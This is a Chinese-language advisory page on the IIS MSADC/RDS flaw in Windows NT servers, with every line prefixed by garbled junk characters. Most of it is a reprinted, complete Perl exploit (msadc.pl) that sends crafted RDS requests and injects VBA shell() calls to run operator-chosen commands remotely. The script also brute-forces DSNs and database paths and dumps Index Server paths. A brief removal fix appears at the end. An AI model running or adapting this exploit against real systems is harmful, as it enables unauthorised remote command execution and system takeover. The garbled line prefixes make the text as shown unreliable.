IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
x/,(G~ A#x_>fV 涉及程序：
6<
@F Microsoft NT server
| \ 6Ff/O zwJK|S k 描述：
6 5>}Q.p 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
I6.}r2?;A -0:Equ?pz 详细：
;^9y#muk 如果你没有时间读详细内容的话，就删除:
'FN+Bv D c:\Program Files\Common Files\System\Msadc\msadcs.dll
/6Olq6V 有关的安全问题就没有了。
a~Nh6 x U^ Ul j/%6 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
`2PvE4]%p aZB$%#'vR 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
o@ W:PmKW 关于利用ODBC远程漏洞的描述，请参看:
^rssZQK Y[ ,!Q^"aOT: http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm \>l DM ]mdO3P 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
?CO..l http://www.microsoft.com/security/bulletins/MS99-025faq.asp [ a!*m< z!>ml3 这里不再论述。
Rr"D)|Y;C( :WHbwu,L$ 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
`ZZq Sc4 5sI9GC /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
#{x4s? 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
fYUbr"Oe I`4k5KB; -H9WwFk #将下面这段保存为txt文件，然后: "perl -x 文件名"
u7}C):@H a 1 .+L #!perl
LR Dj!{k{ #
'
i<}/l # MSADC/RDS 'usage' (aka exploit) script
+p): #
!bQqzny$R # by rain.forest.puppy
CA5q(ID_ #
X3l?
YA # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
% h "%G=: # beta test and find errors!
Y2>0Y3yM .XPPd?R use Socket; use Getopt::Std;
c(r8
F[4w getopts("e:vd:h:XR", \%args);
}/g1s71 y vo4 .u print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
Xot2L{EIUE ^ gdv:[ m if (!defined $args{h} && !defined $args{R}) {
7 ?a!x$-U( print qq~
bXRSKp[$ Usage: msadc.pl -h <host> { -d <delay> -X -v }
(bD'SWE -h <host> = host you want to scan (ip or domain)
vR?E'K 3 -d <seconds> = delay between calls, default 1 second
Bl*.N9* -X = dump Index Server path table, if available
w i=&W -v = verbose
1qd(3A41 -e = external dictionary file for step 5
d6+{^v$# 5~ \GAjf Or a -R will resume a command session
[E 6ZmMB& A`ScAzx5{ ~; exit;}
#5=! ew WN3] xw3 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
4$MV]ldUI if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
,@r 0-gL if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
Wk-jaz if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
NW`L6wgl $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
SeIL if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
7xoq:oP-}N K} TS wY if (!defined $args{R}){ $ret = &has_msadc;
9f_Q s4 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
qJY EsI2M `z~L 0h print "Please type the NT commandline you want to run (cmd /c assumed):\n"
r(DW,xoK0 . "cmd /c ";
`PI?RU[g* $in=<STDIN>; chomp $in;
y.+!+4Mg| $command="cmd /c " . $in ;
DE!P[$J |eEXCn3{ if (defined $args{R}) {&load; exit;}
f/3rcYR;y zsmlXyP'e! print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
1y7FvD~ v &try_btcustmr;
jzAXC^FS M:d }
P print "\nStep 2: Trying to make our own DSN...";
=v49[i &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
MKZq* 1}" Prx- print "\nStep 3: Trying known DSNs...";
Bl/Z _@ &known_dsn;
RAAu3QKu NNn sq@?6 print "\nStep 4: Trying known .mdbs...";
5[|Z ceY &known_mdb;
'NSfGC%7R u?lbC9}$ if (defined $args{e}){
5 ]l8l+ print "\nStep 5: Trying dictionary of DSN names...";
z\+Ug9Of &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
(;cvLop U]64HuL print "Sorry Charley...maybe next time?\n";
h$$2(!G4 exit;
H rI(uZ] ` <IaQY ##############################################################################
5"2pU{xmK '-M9v3itC sub sendraw { # ripped and modded from whisker
yLEA bd%+ sleep($delay); # it's a DoS on the server! At least on mine...
Pm== m9 my ($pstr)=@_;
zp:Ess O=Q socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
!A'3Mw\Nm die("Socket problems\n");
f=T &$tZ< if(connect(S,pack "SnA4x8",2,80,$target)){
pz,iQUs _o select(S); $|=1;
?C* }NM print $pstr; my @in=<S>;
wjfc9z select(STDOUT); close(S);
T/iZ"\(~w return @in;
)kvrQ6 } else { die("Can't connect...\n"); }}
|ohCA&k%; v9XevLs ##############################################################################
Z^6qx ZJ7 gRg8D { sub make_header { # make the HTTP request
lnv&fu`1P my $msadc=<<EOT
@Jc ^ur POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
^17i9 8w User-Agent: ACTIVEDATA
"V{v*Aei0 Host: $ip
3B?7h/f Content-Length: $clen
h4N&Yb fo Connection: Keep-Alive
L)9uBdF jYE
?wc+FT ADCClientVersion:01.06
#@}wl Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
L-VisZ-FK OTD<3Q
q --!ADM!ROX!YOUR!WORLD!
&R t^G Content-Type: application/x-varg
Q(/F7 "m Content-Length: $reqlen
[1g xaNM?]% EOT
; ~# uH7k ; $msadc=~s/\n/\r\n/g;
Dn@Sjsj> return $msadc;}
i9 v|*ZM" wPl9% ##############################################################################
O] 80";Uv QS%t:,0lp sub make_req { # make the RDS request
XU6SYC"t%~ my ($switch, $p1, $p2)=@_;
'pC51}[A{^ my $req=""; my $t1, $t2, $query, $dsn;
CSlPrx2\ , d7o/8u if ($switch==1){ # this is the btcustmr.mdb query
O7z5,- $query="Select * from Customers where City=" . make_shell();
) uC5 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
,$bK)| pGV $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
w G
X\ub#! Mu/hTTiNx elsif ($switch==2){ # this is general make table query
.05x=28n% $query="create table AZZ (B int, C varchar(10))";
DsH#?h<-o $dsn="$p1";}
5E0dX3- \T {<{<n elsif ($switch==3){ # this is general exploit table query
jO}<W 1qy $query="select * from AZZ where C=" . make_shell();
c XbQ $dsn="$p1";}
>Do P2] _[,7DA.qc elsif ($switch==4){ # attempt to hork file info from index server
x P $\
} $query="select path from scope()";
1ZO/R %[ $dsn="Provider=MSIDXS;";}
RuWu#tk M i047-% ( elsif ($switch==5){ # bad query
nTCwLnX(O $query="select";
qL~|bfN $dsn="$p1";}
. H9a b}J,&eYD $t1= make_unicode($query);
jf=\\*64r4 $t2= make_unicode($dsn);
E(Zm6 ~ $req = "\x02\x00\x03\x00";
'wVi>{? $req.= "\x08\x00" . pack ("S1", length($t1));
t)hi j&wzu $req.= "\x00\x00" . $t1 ;
wVkRrFJ $req.= "\x08\x00" . pack ("S1", length($t2));
\?"p]&2UcB $req.= "\x00\x00" . $t2 ;
qKk|2ecTB5 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
+ I4s 0 return $req;}
MS;^@>|wj F?XiP.`DR ##############################################################################
U:uF rb, a]@BS6 sub make_shell { # this makes the shell() statement
fr<V ]) return "'|shell(\"$command\")|'";}
F.- :4m(Z ^1;Eq>u ##############################################################################
,P^4??' o r>g5_"FL sub make_unicode { # quick little function to convert to unicode
U
U@ my ($in)=@_; my $out;
b)7v-1N for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
(W5JVk_o return $out;}
3M5wF6nY[[ I}u&iV` ##############################################################################
Y'76! Y `_!R;f sub rdo_success { # checks for RDO return success (this is kludge)
oW3| b2D my (@in) = @_; my $base=content_start(@in);
m-lTXA( if($in[$base]=~/multipart\/mixed/){
<v3pI!)x return 1 if( $in[$base+10]=~/^\x09\x00/ );}
1@xdzKua1 return 0;}
zo:NE0 0 o <Qt<* ##############################################################################
J*t_r-z >*WT[UU sub make_dsn { # this makes a DSN for us
Z+2 j( my @drives=("c","d","e","f");
B!((N{4H+ print "\nMaking DSN: ";
"mc ] ^ O foreach $drive (@drives) {
Or :P*l print "$drive: ";
}A&I@2d my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
%PC8}++ "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
nIGElt] . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
@|<q Tci $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
_&aPF/
return 0 if $2 eq "404"; # not found/doesn't exist
h6 Cqc}P if($2 eq "200") {
u LSuY}K0 foreach $line (@results) {
5=/j return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
tv%B=E!r } return 0;}
#3_
@aq* d[oHjWk ##############################################################################
~8U 0(n:^ pyp0SGCM: sub verify_exists {
q_Z6s5O my ($page)=@_;
#,9#x]U#v my @results=sendraw("GET $page HTTP/1.0\n\n");
qm< mw"] return $results[0];}
xM![ 6 tl#AJ- ##############################################################################
%|'Vuc Lx k,-0OoCL-! sub try_btcustmr {
Z u/w> my @drives=("c","d","e","f");
sBLOrbo my @dirs=("winnt","winnt35","winnt351","win","windows");
vGwpDu\RgX + P<#6<gR foreach $dir (@dirs) {
8~AL+*hn print "$dir -> "; # fun status so you can see progress
MzE1he1 foreach $drive (@drives) {
t]E@AJO K print "$drive: "; # ditto
=s&ycc;-5} $reqlen=length( make_req(1,$drive,$dir) ) - 28;
F8|m i`f- $reqlenlen=length( "$reqlen" );
/xCX. C $clen= 206 + $reqlenlen + $reqlen;
P Dw BSj a"^rOiXR{ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
CIj7' V if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
]A:8x`z#F else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
^w_\D? =3EjD;2 ##############################################################################
3 95`Wkv Q096M 0m sub odbc_error {
f /t`B^}@ my (@in)=@_; my $base;
)j. .)o my $base = content_start(@in);
pd-I^Q3- if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
c^stfFE & $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
>Q:h0b_$U $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
K9 ek $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
q^ h/64F return $in[$base+4].$in[$base+5].$in[$base+6];}
7G%:ckg print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
sQn@:Gk print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
=3dd1n;8> $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
ANTWWs} 7m8(8$-6 ##############################################################################
r?/!VO-*N OO\$'%
y` sub verbose {
d ;i@9+ my ($in)=@_;
& l0LW,Bx return if !$verbose;
~l]g4iEp print STDOUT "\n$in\n";}
b8!
3 Scc"9] ##############################################################################
slaH 2}$xR cp6I ]#X sub save {
\- 8aTF my ($p1, $p2, $p3, $p4)=@_;
(wf3HEb_ open(OUT, ">rds.save") || print "Problem saving parameters...\n";
j<)`|?@e( print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
*W2 o$_Hs close OUT;}
c$x >6&&L %DM0Z8P$B- ##############################################################################
8`_tnA RIX QW_BT ^d" sub load {
49YN@ PXC my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
$e:bDZ(hjj open(IN,"<rds.save") || die("Couldn't open rds.save\n");
#I\" 'n5M @p=<IN>; close(IN);
V3ExS1fNf $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
< ==6fc>s $target= inet_aton($ip) || die("inet_aton problems");
zbj V>5 print "Resuming to $ip ...";
nH B $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
?}#Iu-IA if($p[1]==1) {
y-{? 0mLq $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
?in)kL $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
CZf38$6 X my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
Z1.v%"/( if (rdo_success(@results)){print "Success!\n";}
lIPz " else { print "failed\n"; verbose(odbc_error(@results));}}
EI496bsRHm elsif ($p[1]==3){
jZ''0Lclpc if(run_query("$p[3]")){
; ,s9jw print "Success!\n";} else { print "failed\n"; }}
hii#kB2 elsif ($p[1]==4){
dSe d 6 if(run_query($drvst . "$p[3]")){
Mbn;~tY> print "Success!\n"; } else { print "failed\n"; }}
z0Z1J8Qq6. exit;}
@2;cv?i) i8S=uJ]n ##############################################################################
t%StB q(q y9.?5#aL sub create_table {
a'A<'(yv my ($in)=@_;
D@kf^ 1G $reqlen=length( make_req(2,$in,"") ) - 28;
!+]KxB $reqlenlen=length( "$reqlen" );
eJeL{`NS $clen= 206 + $reqlenlen + $reqlen;
sKk+^.K}| my @results=sendraw(make_header() . make_req(2,$in,""));
*K BaKS return 1 if rdo_success(@results);
= }YX I my $temp= odbc_error(@results); verbose($temp);
!j}L-1*{ l return 1 if $temp=~/Table 'AZZ' already exists/;
j4u
["O3 return 0;}
)S;3WnQ) d{"@<0i? ##############################################################################
' _5|9
} RT${7= sub known_dsn {
F x^X(!)~] # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
>dgz/n?:v my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
v]Aop<KLX "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
PkLNIp1 "banner", "banners", "ads", "ADCDemo", "ADCTest");
J 5xMA- tq?a3 foreach $dSn (@dsns) {
]LEaoOecu print ".";
J57; X=M next if (!is_access("DSN=$dSn"));
20}w . V if(create_table("DSN=$dSn")){
sPXjU5uq# print "$dSn successful\n";
}9&dY!h + if(run_query("DSN=$dSn")){
Vf< q-3q print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
;e < TEs print "Something's borked. Use verbose next time\n";}}} print "\n";}
%NM={X|' ci/qm\JI<< ##############################################################################
D$@2H>.- 3_`)QYU' sub is_access {
\0vs93 >? my ($in)=@_;
!q U1RdZ $reqlen=length( make_req(5,$in,"") ) - 28;
N9*: ]a $reqlenlen=length( "$reqlen" );
U`5/tNx $clen= 206 + $reqlenlen + $reqlen;
\>G}DGz
my @results=sendraw(make_header() . make_req(5,$in,""));
t#3 _M=L my $temp= odbc_error(@results);
` 5!AHQ/ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
fI1
9p Q return 0;}
$/|vbe, g>k?03; ##############################################################################
w*&vH/ D Y B,c =Wx sub run_query {
FBbaLqgVF{ my ($in)=@_;
~Z!YB,)bp $reqlen=length( make_req(3,$in,"") ) - 28;
<fF|AbC: $reqlenlen=length( "$reqlen" );
n oM=8C&U $clen= 206 + $reqlenlen + $reqlen;
H:XPl$; my @results=sendraw(make_header() . make_req(3,$in,""));
[YZgQ return 1 if rdo_success(@results);
!0vLSF= my $temp= odbc_error(@results); verbose($temp);
%V+"i_{m return 0;}
:H wdXhA6 ;<_a ,5\Q ##############################################################################
P$Oj3HD LM }2iR=$2 sub known_mdb {
E
AZX my @drives=("c","d","e","f","g");
e<* qaUI my @dirs=("winnt","winnt35","winnt351","win","windows");
jU* D my $dir, $drive, $mdb;
?5/7
@V my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
/sj*@HF= Cs
y,3XG # this is sparse, because I don't know of many
I N.g my @sysmdbs=( "\\catroot\\icatalog.mdb",
Q J-|zS.W "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
?c+$9 "\\system32\\certmdb.mdb",
*8p o0s "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
>]_^iD]*t :0QDV~bs my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
T\g+w\N "\\cfusion\\cfapps\\forums\\forums_.mdb",
CWocb=E "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
3u& ,3: "\\cfusion\\cfapps\\security\\realm_.mdb",
AI Kz]J0; "\\cfusion\\cfapps\\security\\data\\realm.mdb",
|xg _z&dX "\\cfusion\\database\\cfexamples.mdb",
iy_Y!wZ{ "\\cfusion\\database\\cfsnippets.mdb",
Pq8oK'z - "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
"j8)l4} "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
,B_c "\\cfusion\\brighttiger\\database\\cleam.mdb",
OM{ ^F=Ap "\\cfusion\\database\\smpolicy.mdb",
n:2._s T "\\cfusion\\database\cypress.mdb",
{L ~d ER "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
"|[9 Q? "\\website\\cgi-win\\dbsample.mdb",
P/.<s r=2 "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
5bAdF'~ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
&$
"J\v m ); #these are just
^X}r ^ foreach $drive (@drives) {
^L)TfI_n foreach $dir (@dirs){
T&+3Xi: foreach $mdb (@sysmdbs) {
6@t& print ".";
2QM{e!9 if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
FO%pdLs, print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
s\pukpf@ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
p6K ~ b print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
?|+e*{4k } else { print "Something's borked. Use verbose next time\n"; }}}}}
K@{0]6 $#p5BQQ| foreach $drive (@drives) {
6<$.Z-, foreach $mdb (@mdbs) {
o B o*<6 print ".";
{it}\[3 if(create_table($drv . $drive . $dir . $mdb)){
p:5NMo print "\n" . $drive . $dir . $mdb . " successful\n";
s1 [&WDedM if(run_query($drv . $drive . $dir . $mdb)){
NjpWK ;L print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
kfZ `|w@q } else { print "Something's borked. Use verbose next time\n"; }}}}
ybw\^t }
Yj/ o17 ",D!8>=s ##############################################################################
DXI4DM"15I 8FMxn{k2 sub hork_idx {
EJ#I7_ print "\nAttempting to dump Index Server tables...\n";
q,O_y<uw print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
4\u `M R $reqlen=length( make_req(4,"","") ) - 28;
rDhQ3iCqo $reqlenlen=length( "$reqlen" );
lZ L+j6Q $clen= 206 + $reqlenlen + $reqlen;
(${ #l my @results=sendraw2(make_header() . make_req(4,"",""));
&K[sb% if (rdo_success(@results)){
*$BUow/> my $max=@results; my $c; my %d;
[n)ak)_/ for($c=19; $c<$max; $c++){
cx$h " $results[$c]=~s/\x00//g;
*X/Vt$P $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
GEF's#YWK $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
j?m(l,YD|* $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
yRyX lZC $d{"$1$2"}="";}
vj%"x/TP foreach $c (keys %d){ print "$c\n"; }
#e-K It } else {print "Index server doesn't seem to be installed.\n"; }}
QK[^G6TI i .uyfV&F ##############################################################################
q
i yK O>qlWPht sub dsn_dict {
41<h |WA open(IN, "<$args{e}") || die("Can't open external dictionary\n");
z$R&u=J while(<IN>){
;mQ |+|F6X $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
* 3fl}l next if (!is_access("DSN=$dSn"));
B qX"La, if(create_table("DSN=$dSn")){
I3Z?xsa@Z print "$dSn successful\n";
$<nR W*d if(run_query("DSN=$dSn")){
%W\NYS m print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
hmo4H3g!N print "Something's borked. Use verbose next time\n";}}}
L%/>Le}VX print "\n"; close(IN);}
W+1nf:AI. tjwf;g}$ ##############################################################################
%xC L&}bY SNOc1c<~ sub sendraw2 { # ripped and modded from whisker
rIPfO'T? sleep($delay); # it's a DoS on the server! At least on mine...
<q$Tk , my ($pstr)=@_;
7HH@7vpJ^ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
E> GmFw die("Socket problems\n");
<b,WxR` if(connect(S,pack "SnA4x8",2,80,$target)){
2PyuM=(Wt print "Connected. Getting data";
4"kc( J`c open(OUT,">raw.out"); my @in;
t2)uJN`a$X select(S); $|=1; print $pstr;
f?tU5EX while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
Rf8Obk< close(OUT); select(STDOUT); close(S); return @in;
W9Azp8)p] } else { die("Can't connect...\n"); }}
lf >d{zd5 9e
K~g0m ##############################################################################
\ YF@r7 4;J.$ sub content_start { # this will take in the server headers
>~Zj my (@in)=@_; my $c;
X}(X\rp for ($c=1;$c<500;$c++) {
[-VH%OM if($in[$c] =~/^\x0d\x0a/){
j!i* & if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
8xAI n>,_ else { return $c+1; }}}
oQ
r.cKD ? return -1;} # it should never get here actually
STjb2t,a %C,zR&]F ##############################################################################
J{dO0!7y xjbI1qCfe sub funky {
9 nc_$H{ my (@in)=@_; my $error=odbc_error(@in);
.:}<4;Qz94 if($error=~/ADO could not find the specified provider/){
Yq00<kIDJ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
S1^/W-yoc~ exit;}
r + 8Tp|% if($error=~/A Handler is required/){
Db|JR print "\nServer has custom handler filters (they most likely are patched)\n";
WUie `p exit;}
DCiU?u~ if($error=~/specified Handler has denied Access/){
Zqm% qm: print "\nServer has custom handler filters (they most likely are patched)\n";
X5/j8=G H` exit;}}
'uL$j=vB yg'CL/P ##############################################################################
gPB =Z! l hYJectJa sub has_msadc {
*
cW%Q@lit my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
9ns( F: my $base=content_start(@results);
z_xy*Iif return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
rBmW%Gv return 0;}
ty['yV-;a 1$E [`` n ########################
c Q- #] ]I,&Bme seK;TQ3/7 解决方案：
=@4 ,szLO 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
h )Y .jY 2、移除web 目录: /msadc
